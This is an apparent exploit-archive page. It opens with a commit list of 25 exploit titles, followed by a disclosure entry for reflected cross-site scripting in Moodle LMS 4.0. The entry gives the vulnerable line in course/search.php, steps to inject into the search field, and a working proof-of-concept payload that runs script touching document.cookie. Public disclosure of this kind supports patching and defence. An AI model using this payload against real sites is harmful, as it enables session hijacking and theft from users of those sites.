6bc7a6f9b0
25 changes to exploits/shellcodes/ghdb ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access ZKTeco ZEM/ZMM 8.88 - Missing Authentication Hashicorp Consul v1.0 - Remote Command Execution (RCE) X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) OPSWAT Metadefender Core - Privilege Escalation Pega Platform 8.1.0 - Remote Code Execution (RCE) Beauty-salon v1.0 - Remote Code Execution (RCE) BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) iBooking v1.0.8 - Arbitrary File Upload Jetpack 11.4 - Cross Site Scripting (XSS) Moodle LMS 4.0 - Cross-Site Scripting (XSS) Online shopping system advanced 1.0 - Multiple Vulnerabilities rukovoditel 3.2.1 - Cross-Site Scripting (XSS) Senayan Library Management System v9.5.0 - SQL Injection Social-Share-Buttons v2.2.3 - SQL Injection Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) YouPHPTube<= 7.8 - Multiple Vulnerabilities Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF) SuperMailer v11.20 - Buffer overflow DoS Tunnel Interface Driver - Denial of Service VMware Workstation 15 Pro - Denial of Service HDD Health 4.2.0.112 - 'HDDHealth' Unquoted Service Path SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
27 lines
No EOL
835 B
Text
27 lines
No EOL
835 B
Text
# Exploit Title: Moodle LMS 4.0 - Cross-Site Scripting (XSS)
|
|
# Date: 26/10/2022
|
|
# Exploit Author: Saud Alenazi
|
|
# Vendor Homepage: https://moodle.org/
|
|
# Software Link: https://git.in.moodle.com/moodle
|
|
# Version: 4.0
|
|
# Tested on: XAMPP, Windows 10
|
|
# Contact: https://twitter.com/dmaral3noz
|
|
|
|
Description:
|
|
|
|
A Cross Site Scripting (XSS) vulnerability exists in Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public License
|
|
|
|
Vulnerable Code:
|
|
|
|
line 111 in file "course/search.php"
|
|
|
|
echo $courserenderer->search_courses($searchcriteria);
|
|
|
|
|
|
Steps to exploit:
|
|
1) Go to http://localhost/course/search.php
|
|
2) Insert your payload in the "search"
|
|
|
|
Proof of concept (Poc):
|
|
The following payload will allow you to run the javascript -
|
|
"><img src=# onerror=alert(document.cookie)> |